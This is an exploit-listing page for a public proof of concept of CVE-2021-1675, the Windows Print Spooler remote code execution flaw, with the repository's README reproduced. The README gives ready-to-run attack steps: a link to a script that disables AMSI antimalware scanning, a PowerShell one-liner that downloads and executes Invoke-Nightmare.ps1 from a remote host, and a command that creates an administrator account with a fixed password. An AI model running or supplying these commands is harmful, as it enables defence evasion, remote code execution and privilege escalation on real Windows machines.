CVE-2021-1675 PoC — Windows Print Spooler Remote Code Execution Vulnerability

Source

https://github.com/jj4152/cve-2021-1675

Associated Vulnerability

Title:Windows Print Spooler Remote Code Execution Vulnerability (CVE-2021-1675)
Description:Windows Print Spooler Remote Code Execution Vulnerability

Readme

# cve-2021-1675
#disble amsi: (copy into powershell)
https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt

#execute invoke-script
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1')

#create admin account
Invoke-Nightmare -DriverName "Xerox" -NewUser "admin" -NewPassword "P@ssw0rd"

File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →